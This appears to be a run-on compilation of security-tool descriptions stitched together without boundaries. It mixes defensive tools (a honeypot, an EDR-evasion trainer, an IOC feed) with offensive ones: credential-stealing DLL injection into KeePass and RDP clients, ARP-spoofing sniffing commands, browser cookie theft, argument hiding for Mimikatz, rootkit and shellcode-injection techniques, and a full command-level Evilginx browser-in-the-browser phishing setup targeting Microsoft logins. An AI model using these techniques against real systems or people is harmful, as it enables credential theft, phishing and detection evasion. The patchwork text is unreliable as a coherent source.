[!IMPORTANT] If the targeted application is in use while the cleanup module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, the cleanup module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted by ThievingFox are logged.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of the domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Try to cleanup all poisonning artifacts related to KeePass.exe --keepass-share KEEPASS_SHARE The share on which KeePass is installed (Default: c$) --keepass-path KEEPASS_PATH The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/) --keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe --keepassxc-path KEEPASSXC_PATH The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/) --keepassxc-share KEEPASSXC_SHARE The share on which KeePassXC is installed (Default: c$) --mstsc Try to cleanup all poisonning artifacts related to mstsc.exe --consent Try to cleanup all poisonning artifacts related to Consent.exe --logonui Try to cleanup all poisonning artifacts related to LogonUI.exe --rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe --mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe --all Try to cleanup all poisonning artifacts related to all applications
Collect
For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.
Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of th e domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Collect KeePass.exe logs --keepassxc Collect KeePassXC.exe logs --mstsc Collect mstsc.exe logs --consent Collect Consent.exe logs --logonui Collect LogonUI.exe logs --rdcman Collect RDCMan.exe logs --mobaxterm Collect MobaXTerm.exe logs --all Collect logs from all applications
TL;DR: Galah (/Ι‘ΙΛlΙΛ/ - pronounced 'guh-laa') is an LLM (Large Language Model) powered web honeypot, currently compatible with the OpenAI API, that is able to mimic various applications and dynamically respond to arbitrary HTTP requests.
Description
Named after the clever Australian parrot known for its mimicry, Galah mirrors this trait in its functionality. Unlike traditional web honeypots that rely on a manual and limiting method of emulating numerous web applications or vulnerabilities, Galah adopts a novel approach. This LLM-powered honeypot mimics various web applications by dynamically crafting relevant (and occasionally foolish) responses, including HTTP headers and body content, to arbitrary HTTP requests. Fun fact: in Aussie English, Galah also means fool!
I've deployed a cache for the LLM-generated responses (the cache duration can be customized in the config file) to avoid generating multiple responses for the same request and to reduce the cost of the OpenAI API. The cache stores responses per port, meaning if you probe a specific port of the honeypot, the generated response won't be returned for the same request on a different port.
The prompt is the most crucial part of this honeypot! You can update the prompt in the config file, but be sure not to change the part that instructs the LLM to generate the response in the specified JSON format.
Note: Galah was a fun weekend project I created to evaluate the capabilities of LLMs in generating HTTP messages, and it is not intended for production use. The honeypot may be fingerprinted based on its response time, non-standard, or sometimes weird responses, and other network-based techniques. Use this tool at your own risk, and be sure to set usage limits for your OpenAI API.
Future Enhancements
Rule-Based Response: The new version of Galah will employ a dynamic, rule-based approach, adding more control over response generation. This will further reduce OpenAI API costs and increase the accuracy of the generated responses.
Response Database: It will enable you to generate and import a response database. This ensures the honeypot only turns to the OpenAI API for unknown or new requests. I'm also working on cleaning up and sharing my own database.
2024/01/01 04:29:10 Starting HTTP server on port 8080 2024/01/01 04:29:10 Starting HTTP server on port 8888 2024/01/01 04:29:10 Starting HTTPS server on port 8443 with TLS profile: profile1_selfsigned 2024/01/01 04:29:10 Starting HTTPS server on port 443 with TLS profile: profile1_selfsigned
2024/01/01 04:35:57 Received a request for "/.git/config" from [::1]:65434 2024/01/01 04:35:57 Request cache miss for "/.git/config": Not found in cache 2024/01/01 04:35:59 Generated HTTP response: {"Headers": {"Content-Type": "text/plain", "Server": "Apache/2.4.41 (Ubuntu)", "Status": "403 Forbidden"}, "Body": "Forbidden\nYou don't have permission to access this resource."} 2024/01/01 04:35:59 Sending the crafted response to [::1]:65434
^C2024/01/01 04:39:27 Received shutdown signal. Shutting down servers... 2024/01/01 04:39:27 All servers shut down gracefully.
% curl http://localhost:8888/are-you-a-honeypot No, I am a server.`
JSON log record:
{"timestamp":"2024-01-01T05:50:43.792479","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"61982","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/are-you-a-honeypot","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Length":"20","Content-Type":"text/plain","Server":"Apache/2.4.41 (Ubuntu)"},"body":"No, I am a server."}}
π
% curl http://localhost:8888/i-mean-are-you-a-fake-server` No, I am not a fake server.
JSON log record:
{"timestamp":"2024-01-01T05:51:40.812831","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"62205","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/i-mean-are-you-a-fake-server","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Type":"text/plain","Server":"LocalHost/1.0"},"body":"No, I am not a fake server."}}
CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.
Features
Detection
Description
Direct Syscall
Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks.
NTDLL Unhooking
Identifies attempts to unhook functions within the NTDLL library, a common evasion technique.
AMSI Patch
Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis.
ETW Patch
Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection.
PE Stomping
Identifies instances of PE (Portable Executable) stomping.
Reflective PE Loading
Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis.
Unbacked Thread Origin
Identifies threads originating from unbacked memory regions, often indicative of malicious activity.
Unbacked Thread Start Address
Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection.
API hooking
Places a hook on the NtWriteVirtualMemory function to monitor memory modifications.
Custom Pattern Search
Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures.
Installation
To get started with CrimsonEDR, follow these steps:
Clone the repository: bash git clone https://github.com/Helixo32/CrimsonEDR
Compile the project: bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh
β οΈ Warning
Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.
Usage
To use CrimsonEDR, follow these steps:
Make sure the ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:
Status Checker is a Python script that checks the status of one or multiple URLs/domains and categorizes them based on their HTTP status codes. Version 1.0.0 Created BY BLACK-SCORP10 t.me/BLACK-SCORP10
Features
Check the status of single or multiple URLs/domains.
Asynchronous HTTP requests for improved performance.
Color-coded output for better visualization of status codes.
Progress bar when checking multiple URLs.
Save results to an output file.
Error handling for inaccessible URLs and invalid responses.
Command-line interface for easy usage.
Installation
Clone the repository:
bash git clone https://github.com/your_username/status-checker.git cd status-checker
The Cyber Security Awareness Framework (CSAF) is a structured approach aimed at enhancing Cybersecurity" title="Cybersecurity">cybersecurity awareness and understanding among individuals, organizations, and communities. It provides guidance for the development of effective Cybersecurity" title="Cybersecurity">cybersecurity awareness programs, covering key areas such as assessing awareness needs, creating educational m aterials, conducting training and simulations, implementing communication campaigns, and measuring awareness levels. By adopting this framework, organizations can foster a robust security culture, enhance their ability to detect and respond to cyber threats, and mitigate the risks associated with attacks and security breaches.
Espionage is a network packet sniffer that intercepts large amounts of data being passed through an interface. The tool allows users to to run normal and verbose traffic analysis that shows a live feed of traffic, revealing packet direction, protocols, flags, etc. Espionage can also spoof ARP so, all data sent by the target gets redirected through the attacker (MiTM). Espionage supports IPv4, TCP/UDP, ICMP, and HTTP. Espionag e was written in Python 3.8 but it also supports version 3.6. This is the first version of the tool so please contact the developer if you want to help contribute and add more to Espionage. Note: This is not a Scapy wrapper, scapylib only assists with HTTP requests and ARP.
sudo python3 espionage.py --normal --iface wlan0 -f capture_output.pcap Command 1 will execute a clean packet sniff and save the output to the pcap file provided. Replace wlan0 with whatever your network interface is.
sudo python3 espionage.py --verbose --iface wlan0 -f capture_output.pcap Command 2 will execute a more detailed (verbose) packet sniff and save the output to the pcap file provided.
sudo python3 espionage.py --normal --iface wlan0 Command 3 will still execute a clean packet sniff however, it will not save the data to a pcap file. Saving the sniff is recommended.
sudo python3 espionage.py --verbose --httpraw --iface wlan0 Command 4 will execute a verbose packet sniff and will also show raw http/tcp packet data in bytes.
sudo python3 espionage.py --target <target-ip-address> --iface wlan0 Command 5 will ARP spoof the target ip address and all data being sent will be routed back to the attackers machine (you/localhost).
sudo python3 espionage.py --iface wlan0 --onlyhttp Command 6 will only display sniffed packets on port 80 utilizing the HTTP protocol.
sudo python3 espionage.py --iface wlan0 --onlyhttpsecure Command 7 will only display sniffed packets on port 443 utilizing the HTTPS (secured) protocol.
sudo python3 espionage.py --iface wlan0 --urlonly Command 8 will only sniff and return sniffed urls visited by the victum. (works best with sslstrip).
Press Ctrl+C in-order to stop the packet interception and write the output to file.
optional arguments: -h, --help show this help message and exit --version returns the packet sniffers version. -n, --normal executes a cleaner interception, less sophisticated. -v, --verbose (recommended) executes a more in-depth packet interception/sniff. -url, --urlonly only sniffs visited urls using http/https. -o, --onlyhttp sniffs only tcp/http data, returns urls visited. -ohs, --onlyhttpsecure sniffs only https data, (port 443). -hr, --httpraw displays raw packet data (byte order) recieved or sent on port 80.
(Recommended) arguments for data output (.pcap): -f FILENAME, --filename FILENAME name of file to store the output (make extension '.pcap').
The developer of this program, Josh Schiavone, written the following code for educational and ethical purposes only. The data sniffed/intercepted is not to be used for malicous intent. Josh Schiavone is not responsible or liable for misuse of this penetration testing tool. May God bless you all.
Free to use IOC feed for various tools/malware. It started out for just C2 tools but has morphed into tracking infostealers and botnets as well. It uses shodan.io/">Shodan searches to collect the IPs. The most recent collection is always stored in data; the IPs are broken down by tool and there is an all.txt.
The feed should update daily. Actively working on making the backend more reliable
Honorable Mentions
Many of the Shodan queries have been sourced from other CTI researchers:
I encourage opening an issue/PR if you know of any additional Shodan searches for identifying adversary infrastructure. I will not set any hard guidelines around what can be submitted, just know, fidelity is paramount (high true/false positive ratio is the focus).
PoCs for Kernelmode rootkit techniques research or education. Currently focusing on Windows OS. All modules support 64bit OS only.
NOTE
Some modules use ExAllocatePool2 API to allocate kernel pool memory. ExAllocatePool2 API is not supported in OSes older than Windows 10 Version 2004. If you want to test the modules in old OSes, replace ExAllocatePool2 API with ExAllocatePoolWithTag API.
Β
Environment
All modules are tested in Windows 11 x64. To test drivers, following options can be used for the testing machine:
Evasion-Corners/dp/144962636X">Bill Blunden, The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, 2nd Edition (Jones & Bartlett Learning, 2012)
Steal browser cookies for edge, chrome and firefox through a BOF or exe! Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the Cookies and Login Data files, copy the handle(s) and then filelessly download the target. Once the Cookies/Login Data file(s) are downloaded, the python decryption script can help extract those secrets! Firefox module will parse the profiles.ini and locate where the logins.json and key4.db files are located and download them. A seperate github repo is referenced for offline decryption.
BOF Usage
Usage: cookie-monster [ --chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid>] cookie-monster Example: cookie-monster --chrome cookie-monster --edge cookie-moster --firefox cookie-monster --chromeCookiePID 1337 cookie-monster --chromeLoginDataPID 1337 cookie-monster --edgeCookiePID 4444 cookie-monster --edgeLoginDataPID 4444 cookie-monster Options: --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD --firefox, looks for profiles.ini and locates the key4.db and logins.json file --chromeCookiePID, if chrome PI D is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
EXE usage
Cookie Monster Example: cookie-monster.exe --all Cookie Monster Options: -h, --help Show this help message and exit --all Run chrome, edge, and firefox methods --edge Extract edge keys and download Cookies/Login Data file to PWD --chrome Extract chrome keys and download Cookies/Login Data file to PWD --firefox Locate firefox key and Cookies, does not make a copy of either file
update decrypt.py to support firefox based on firepwd and add bruteforce module based on DonPAPI
References
This project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos! Highly recommend checking out his lessons!!! Cookie Webkit Master Key Extractor: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF Fileless download: https://github.com/fortra/nanodump Decrypt Cookies and Login Data: https://github.com/login-securite/DonPAPI
NoArgs is a tool designed to dynamically spoof and conceal process arguments while staying undetected. It achieves this by hooking into Windows APIs to dynamically manipulate the Windows internals on the go. This allows NoArgs to alter process arguments discreetly.
Default Cmd:
Windows Event Logs:
Using NoArgs:
Windows Event Logs:
Functionality Overview
The tool primarily operates by intercepting process creation calls made by the Windows API function CreateProcessW. When a process is initiated, this function is responsible for spawning the new process, along with any specified command-line arguments. The tool intervenes in this process creation flow, ensuring that the arguments are either hidden or manipulated before the new process is launched.
Hooking Mechanism
Hooking into CreateProcessW is achieved through Detours, a popular library for intercepting and redirecting Win32 API functions. Detours allows for the redirection of function calls to custom implementations while preserving the original functionality. By hooking into CreateProcessW, the tool is able to intercept the process creation requests and execute its custom logic before allowing the process to be spawned.
Process Environment Block (PEB) Manipulation
The Process Environment Block (PEB) is a data structure utilized by Windows to store information about a process's environment and execution state. The tool leverages the PEB to manipulate the command-line arguments of the newly created processes. By modifying the command-line information stored within the PEB, the tool can alter or conceal the arguments passed to the process.
Demo: Running Mimikatz and passing it the arguments:
Process Hacker View:
All the arguemnts are hidden dynamically
Process Monitor View:
Technical Implementation
Injection into Command Prompt (cmd): The tool injects its code into the Command Prompt process, embedding it as Position Independent Code (PIC). This enables seamless integration into cmd's memory space, ensuring covert operation without reliance on specific memory addresses. (Only for The Obfuscated Executable in the releases page)
Windows API Hooking: Detours are utilized to intercept calls to the CreateProcessW function. By redirecting the execution flow to a custom implementation, the tool can execute its logic before the original Windows API function.
Custom Process Creation Function: Upon intercepting a CreateProcessW call, the custom function is executed, creating the new process and manipulating its arguments as necessary.
PEB Modification: Within the custom process creation function, the Process Environment Block (PEB) of the newly created process is accessed and modified to achieve the goal of manipulating or hiding the process arguments.
Execution Redirection: Upon completion of the manipulations, the execution seamlessly returns to Command Prompt (cmd) without any interruptions. This dynamic redirection ensures that subsequent commands entered undergo manipulation discreetly, evading detection and logging mechanisms that relay on getting the process details from the PEB.
Installation and Usage:
Option 1: Compile NoArgs DLL:
You will need microsoft/Detours">Microsoft Detours installed.
Compile the DLL.
Inject the compiled DLL into any cmd instance to manipulate newly created process arguments dynamically.
Option 2: Download the compiled executable (ready-to-go) from the releases page.
A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft.
This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet.
Before diving deep into this, I recommend that you first check my talk at BSides 2023, where I first introduced this concept along with important details on how to craft the "perfect" phishing attack. βΆ Watch Video
This tool is for educational and research purposes only. It demonstrates a non-iframe based Browser In The Browser (BITB) method. The author is not responsible for any misuse. Use this tool only legally and ethically, in controlled environments for cybersecurity defense testing. By using this tool, you agree to do so responsibly and at your own risk.
Backstory - The Why
Over the past year, I've been experimenting with different tricks to craft the "perfect" phishing attack. The typical "red flags" people are trained to look for are things like urgency, threats, authority, poor grammar, etc. The next best thing people nowadays check is the link/URL of the website they are interacting with, and they tend to get very conscious the moment they are asked to enter sensitive credentials like emails and passwords.
That's where Browser In The Browser (BITB) came into play. Originally introduced by @mrd0x, BITB is a concept of creating the appearance of a believable browser window inside of which the attacker controls the content (by serving the malicious website inside an iframe). However, the fake URL bar of the fake browser window is set to the legitimate site the user would expect. This combined with a tool like Evilginx becomes the perfect recipe for a believable phishing attack.
The problem is that over the past months/years, major websites like Microsoft implemented various little tricks called "framebusters/framekillers" which mainly attempt to break iframes that might be used to serve the proxied website like in the case of Evilginx.
In short, Evilginx + BITB for websites like Microsoft no longer works. At least not with a BITB that relies on iframes.
The What
A Browser In The Browser (BITB) without any iframes! As simple as that.
Meaning that we can now use BITB with Evilginx on websites like Microsoft.
Evilginx here is just a strong example, but the same concept can be used for other use-cases as well.
The How
Framebusters target iframes specifically, so the idea is to create the BITB effect without the use of iframes, and without disrupting the original structure/content of the proxied page. This can be achieved by injecting scripts and HTML besides the original content using search and replace (aka substitutions), then relying completely on HTML/CSS/JS tricks to make the visual effect. We also use an additional trick called "Shadow DOM" in HTML to place the content of the landing page (background) in such a way that it does not interfere with the proxied content, allowing us to flexibly use any landing page with minor additional JS scripts.
Instructions
Video Tutorial
Local VM:
Create a local Linux VM. (I personally use Ubuntu 22 on VMWare Player or Parallels Desktop)
Update and Upgrade system packages:
sudo apt update && sudo apt upgrade -y
Evilginx Setup:
Optional:
Create a new evilginx user, and add user to sudo group:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Test that evilginx user is in sudo group:
su - evilginx
sudo ls -la /root
Navigate to users home dir:
cd /home/evilginx
(You can do everything as sudo user as well since we're running everything locally)
Optional: To set the Calendly widget to use your account instead of the default I have inside, go to pages/primary/script.js and change the CALENDLY_PAGE_NAME and CALENDLY_EVENT_TYPE.
Note on Demo Obfuscation: As I explain in the walkthrough video, I included a minimal obfuscation for text content like URLs and titles of the BITB. You can open the demo obfuscator by opening demo-obfuscator.html in your browser. In a real-world scenario, I would highly recommend that you obfuscate larger chunks of the HTML code injected or use JS tricks to avoid being detected and flagged. The advanced version I am working on will use a combination of advanced tricks to make it nearly impossible for scanners to fingerprint/detect the BITB code, so stay tuned.
Self-signed SSL certificates:
Since we are running everything locally, we need to generate self-signed SSL certificates that will be used by Apache. Evilginx will not need the certs as we will be running it in developer mode.
We will use the domain fake.com which will point to our local VM. If you want to use a different domain, make sure to change the domain in all files (Apache conf files, JS files, etc.)
Create dir and parents if they do not exist:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Generate the SSL certs using the OpenSSL config file:
Copy custom substitution files (the core of our approach):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Important Note: In this repo I have included 2 substitution configs for Chrome on Mac and Chrome on Windows BITB. Both have auto-detection and styling for light/dark mode and they should act as base templates to achieve the same for other browser/OS combos. Since I did not include automatic detection of the browser/OS combo used to visit our phishing page, you will have to use one of two or implement your own logic for automatic switching.
Both config files under /apache-configs/ are the same, only with a different Include directive used for the substitution file that will be included. (there are 2 references for each file)
# Uncomment the one you want and remember to restart Apache after any changes: #Include /etc/apache2/custom-subs/win-chrome.conf Include /etc/apache2/custom-subs/mac-chrome.conf
Simply to make it easier, I included both versions as separate files for this next step.
Test Apache configs to ensure there are no errors:
sudo apache2ctl configtest
Restart Apache to apply changes:
sudo systemctl restart apache2
Modifying Hosts:
Get the IP of the VM using ifconfig and note it somewhere for the next step.
We now need to add new entries to our hosts file, to point the domain used in this demo fake.com and all used subdomains to our VM on which Apache and Evilginx are running.
On Windows:
Open Notepad as Administrator (Search > Notepad > Right-Click > Run as Administrator)
Click on the File option (top-left) and in the File Explorer address bar, copy and paste the following:
C:\Windows\System32\drivers\etc\
Change the file types (bottom-right) to "All files".
Double-click the file named hosts
On Mac:
Open a terminal and run the following:
sudo nano /private/etc/hosts
Now modify the following records (replace [IP] with the IP of your VM) then paste the records at the end of the hosts file:
# Local Apache and Evilginx Setup [IP] login.fake.com [IP] account.fake.com [IP] sso.fake.com [IP] www.fake.com [IP] portal.fake.com [IP] fake.com # End of section
Save and exit.
Now restart your browser before moving to the next step.
Note: On Mac, use the following command to flush the DNS cache:
This demo is made with the provided Office 365 Enterprise phishlet. To get the host entries you need to add for a different phishlet, use phishlet get-hosts [PHISHLET_NAME] but remember to replace the 127.0.0.1 with the actual local IP of your VM.
Trusting the Self-Signed SSL Certs:
Since we are using self-signed SSL certificates, our browser will warn us every time we try to visit fake.com so we need to make our host machine trust the certificate authority that signed the SSL certs.
For this step, it's easier to follow the video instructions, but here is the gist anyway.
Ignore the Unsafe Site warning and proceed to the page.
Click the SSL icon > Details > Export Certificate IMPORTANT: When saving, the name MUST end with .crt for Windows to open it correctly.
Double-click it > install for current user. Do NOT select automatic, instead place the certificate in specific store: select "Trusted Route Certification Authorities".
On Mac: to install for current user only > select "Keychain: login" AND click on "View Certificates" > details > trust > Always trust
Now RESTART your Browser
You should be able to visit https://fake.com now and see the homepage without any SSL warnings.
Running Evilginx:
At this point, everything should be ready so we can go ahead and start Evilginx, set up the phishlet, create our lure, and test it.
Optional: Install tmux (to keep evilginx running even if the terminal session is closed. Mainly useful when running on remote VM.)
sudo apt install tmux -y
Start Evilginx in developer mode (using tmux to avoid losing the session):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(To re-attach to the tmux session use tmux attach-session -t evilginx)
Evilginx Config:
config domain fake.com
config ipv4 127.0.0.1
IMPORTANT: Set Evilginx Blacklist mode to NoAdd to avoid blacklisting Apache since all requests will be coming from Apache and not the actual visitor IP.
blacklist noadd
Setup Phishlet and Lure:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Copy the lure URL and visit it from your browser (use Guest user on Chrome to avoid having to delete all saved/cached data between tests).
This tool compilation is carefully crafted with the purpose of being useful both for the beginners and veterans from the malwareanalysis world. It has also proven useful for people trying their luck at the cracking underworld.
It's the ideal complement to be used with the manuals from the site, and to play with the numbered theories mirror.
Advantages
To be clear, this pack is thought to be the most complete and robust in existence. Some of the pros are:
It contains all the basic (and not so basic) tools that you might need in a real life scenario, be it a simple or a complex one.
The pack is integrated with an Universal Updater made by us from scratch. Thanks to that, we get to mantain all the tools in an automated fashion.
It's really easy to expand and modify: you just have to update the file bin\updater\tools.ini to integrate the tools you use to the updater, and then add the links for your tools to bin\sendto\sendto, so they appear in the context menus.
The installer sets up everything we might need automatically - everything, from the dependencies to the environment variables, and it can even add a scheduled task to update the whole pack of tools weekly.
Installation
You can simply download the stable versions from the release section, where you can also find the installer.
Once downloaded, you can update the tools with the Universal Updater that we specifically developed for that sole purpose. You will find the binary in the folder bin\updater\updater.exe.
Tool set
This toolkit is composed by 98 apps that cover everything we might need to perform reverse engineering and binary/malware analysis. Every tool has been downloaded from their original/official websites, but we still recommend you to use them with caution, specially those tools whose official pages are forum threads. Always exercise common sense. You can check the complete list of tools here.
About contributions
Pull Requests are welcome. If you'd want to propose big changes, you should first create an Issue about it, so we all can analyze and discuss it. The tools are compressed with 7-zip, and the format used for nomenclature is {name} - {version}.7z
Porch Pirate started as a tool to quickly uncover Postman secrets, and has slowly begun to evolve into a multi-purpose reconaissance / OSINT framework for Postman. While existing tools are great proof of concepts, they only attempt to identify very specific keywords as "secrets", and in very limited locations, with no consideration to recon beyond secrets. We realized we required capabilities that were "secret-agnostic", and had enough flexibility to capture false-positives that still provided offensive value.
Porch Pirate enumerates and presents sensitive results (global secrets, unique headers, endpoints, query parameters, authorization, etc), from publicly accessible Postman entities, such as:
Workspaces
Collections
Requests
Users
Teams
Installation
python3 -m pip install porch-pirate
Using the client
The Porch Pirate client can be used to nearly fully conduct reviews on public Postman entities in a quick and simple fashion. There are intended workflows and particular keywords to be used that can typically maximize results. These methodologies can be located on our blog: Plundering Postman with Porch Pirate.
Porch Pirate supports the following arguments to be performed on collections, workspaces, or users.
--globals
--collections
--requests
--urls
--dump
--raw
--curl
Simple Search
porch-pirate -s "coca-cola.com"
Get Workspace Globals
By default, Porch Pirate will display globals from all active and inactive environments if they are defined in the workspace. Provide a -w argument with the workspace ID (found by performing a simple search, or automatic search dump) to extract the workspace's globals, along with other information.
When an interesting result has been found with a simple search, we can provide the workspace ID to the -w argument with the --dump command to begin extracting information from the workspace and its collections.
Porch Pirate can be supplied a simple search term, following the --globals argument. Porch Pirate will dump all relevant workspaces tied to the results discovered in the simple search, but only if there are globals defined. This is particularly useful for quickly identifying potentially interesting workspaces to dig into further.
porch-pirate -s "shopify" --globals
Automatic Search Dump
Porch Pirate can be supplied a simple search term, following the --dump argument. Porch Pirate will dump all relevant workspaces and collections tied to the results discovered in the simple search. This is particularly useful for quickly sifting through potentially interesting results.
porch-pirate -s "coca-cola.com" --dump
Extract URLs from Workspace
A particularly useful way to use Porch Pirate is to extract all URLs from a workspace and export them to another tool for fuzzing.
p = porchpirate() print(p.search('coca-cola.com'))
Get Workspace Collections
p = porchpirate() print(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
Dumping a Workspace
p = porchpirate() collections = json.loads(p.collections('4127fdda-08be-4f34-af0e-a8bdc06efaba')) for collection in collections['data']: requests = collection['requests'] for r in requests: request_data = p.request(r['id']) print(request_data)
Grabbing a Workspace's Globals
p = porchpirate() print(p.workspace_globals('4127fdda-08be-4f34-af0e-a8bdc06efaba'))
Other Examples
Other library usage examples can be located in the examples directory, which contains the following examples:
APKDeepLens is a Python based tool designed to scanAndroid applications (APK files) for security vulnerabilities. It specifically targets the OWASP Top 10 mobile vulnerabilities, providing an easy and efficient way for developers, penetration testers, and security researchers to assess the security posture of Android apps.
Features
APKDeepLens is a Python-based tool that performs various operations on APK files. Its main features include:
OWASP Coverage -> Covers OWASP Top 10 vulnerabilities to ensure a comprehensive security assessment.
Advanced Detection -> Utilizes custom python code for APK file analysis and vulnerability detection.
Sensitive Information Extraction -> Identifies potential security risks by extracting sensitive information from APK files, such as insecure authentication/authorization keys and insecure request protocols.
In-depth Analysis -> Detects insecure data storage practices, including data related to the SD card, and highlights the use of insecure request protocols in the code.
Intent Filter Exploits -> Pinpoint vulnerabilities by analyzing intent filters extracted from AndroidManifest.xml.
Local File Vulnerability Detection -> Safeguard your app by identifying potential mishandlings related to local file operations
Report Generation -> Generates detailed and easy-to-understand reports for each scanned APK, providing actionable insights for developers.
CI/CD Integration -> Designed for easy integration into CI/CD pipelines, enabling automated security testing in development workflows.
User-Friendly Interface -> Color-coded terminal outputs make it easy to distinguish between different types of findings.
Installation
To use APKDeepLens, you'll need to have Python 3.8 or higher installed on your system. You can then install APKDeepLens using the following command:
To simply scan an APK, use the below command. Mention the apk file with -apk argument. Once the scan is complete, a detailed report will be displayed in the console.
python3 APKDeepLens.py -apk file.apk
If you've already extracted the source code and want to provide its path for a faster scan you can use the below command. Mention the source code of the android application with -source parameter.
This method utilizes TLS callbacks to execute aΒ payloadΒ without spawning any threads in a remote process. This method is inspired byΒ Threadless InjectionΒ as RemoteTLSCallbackInjection does not invoke any API calls to trigger the injectedΒ payload.
Create a suspended process using the CreateProcessViaWinAPIsW function (i.e. RuntimeBroker.exe).
Fetch the remote process image base address followed by reading the process's PE headers.
Fetch an address to a TLS callback function.
Patch a fixed shellcode (i.e. g_FixedShellcode) with runtime-retrieved values. This shellcode is responsible for restoring both original bytes and memory permission of the TLS callback function's address.
Inject both shellcodes: g_FixedShellcode and the main payload.
Patch the TLS callback function's address and replace it with the address of our injected payload.
Resume process.
The g_FixedShellcode shellcode will then make sure that the main payload executes only once by restoring the original TLS callback's original address before calling the main payload. A TLS callback can execute multiple times across the lifespan of a process, therefore it is important to control the number of times the payload is triggered by restoring the original code path execution to the original TLS callback function.
Demo
The following image shows our implementation, RemoteTLSCallbackInjection.exe, spawning a cmd.exe as its main payload.
SiCat is an advanced exploit search tool designed to identify and gather information about exploits from both open sources and local repositories effectively. With a focus on cybersecurity, SiCat allows users to quickly search online, finding potential vulnerabilities and relevant exploits for ongoing projects or systems.
SiCat's main strength lies in its ability to traverse both online and local resources to collect information about relevant exploitations. This tool aids cybersecurity professionals and researchers in understanding potential security risks, providing valuable insights to enhance system security.
